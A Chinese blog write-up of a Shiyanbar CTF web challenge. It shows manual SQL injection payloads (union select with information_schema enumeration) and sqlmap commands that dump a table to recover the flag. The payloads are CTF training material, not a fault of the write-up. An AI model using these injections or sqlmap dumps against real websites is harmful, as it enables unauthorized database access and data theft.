美文网首页ctfCTF-Web安全信息安全
实验吧-web-这个看起来有点简单!

实验吧-web-这个看起来有点简单!

作者: 简言之_ | 来源:发表于2019-02-01 14:04 被阅读3次

本系列文集:实验吧-Write up --将持续更新 觉得还不错请给个喜欢,感谢!

本题解法:1.手动注入 2.运用sqlmap

SQL注入详细讲解:
DVWA-SQL Injection(SQL注入)
SQL手工注入语句
sqlmap用于sql注入语法

打开题目看到id=1判断可能存在sql注入

图片.png
方法一:手工注入
1.判断是否存在注入,注入是字符型还是数字型
输入1 or 1=1结果正常返回,因此存在sql注入
图片.png
输入1' or '1'='1结果返回警告,因此是数字型注入
图片.png
2.获取当前数据库
输入1 union select 1,database()
图片.png

可以看到数据库名为:my_db
3.爆破数据库中的表
输入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

图片.png
发现就是thiskey这个表
4.查看thiskey表中字段
输入1 union select 1,group_concat(column_name) from information_schema.columns where table_name='thiskey'
图片.png
发现存在一个k0y列
5.查看k0y列中的数据
输入1 union select 1,k0y form thiskey
图片.png
得到flag:whatiMyD91dump
方法二:sqlmap注入
1.查看当前数据库名
输入sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 --dbs
图片.png
2.查看表名
输入sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 --tables -D my_db
图片.png
3.查看列名(字段名)
输入sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 --columns -T thiskey -D my_db
图片.png
4.查看字段数据
输入sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 --dump -C k0y -T thiskey -D my_db
图片.png

相关文章

网友评论

    本文标题:实验吧-web-这个看起来有点简单!

    本文链接:https://www.haomeiwen.com/subject/zyqdsqtx.html